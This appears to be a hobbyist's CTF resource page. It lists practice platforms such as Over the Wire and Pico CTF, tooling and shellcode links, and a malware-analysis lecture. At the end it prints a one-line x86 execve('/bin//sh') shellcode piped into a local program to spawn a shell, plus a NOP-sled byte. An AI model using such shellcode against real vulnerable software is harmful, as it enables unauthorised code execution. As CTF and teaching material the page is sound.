Public CTFs

CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. Current CTF's can be found on CTFtime.org.

Name	Level	Description
Over the wire	Beginner to expert	Starting from learning SSH to reverse engineering.
Pico CTF	Beginner to expert	A good CTF to learn working on *nix systems and way beyond.
Certified Secure	Beginner to expert	A dutch site about learning the basics.

More lists of CTF's can be found on the site of Awesome CTF, CSO and Fareed Fauzi. Feel free to send me other CTF's. <ctf AT sciuro DOT org>

Helpfull rescources

General techniques: ctf101.org
Tooling: https://github.com/zardus/ctf-tools
Shellcode: http://shell-storm.org/shellcode/ https://dhavalkapil.com/blogs/Shellcode-Injection/

Handouts

These are handouts about CTF's I did in the past. It's your call if you want to see answers.

Lectures

Not a CTF, but well worth for learning.

Name	Level	Description
UC Malware Analysis	??	Introduction to Malware Analysis and Reverse Engineering

Shellcode

Shell

Spawn a shell:

(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog

NOP

For a NOP Sled, add a lot of times:

\x90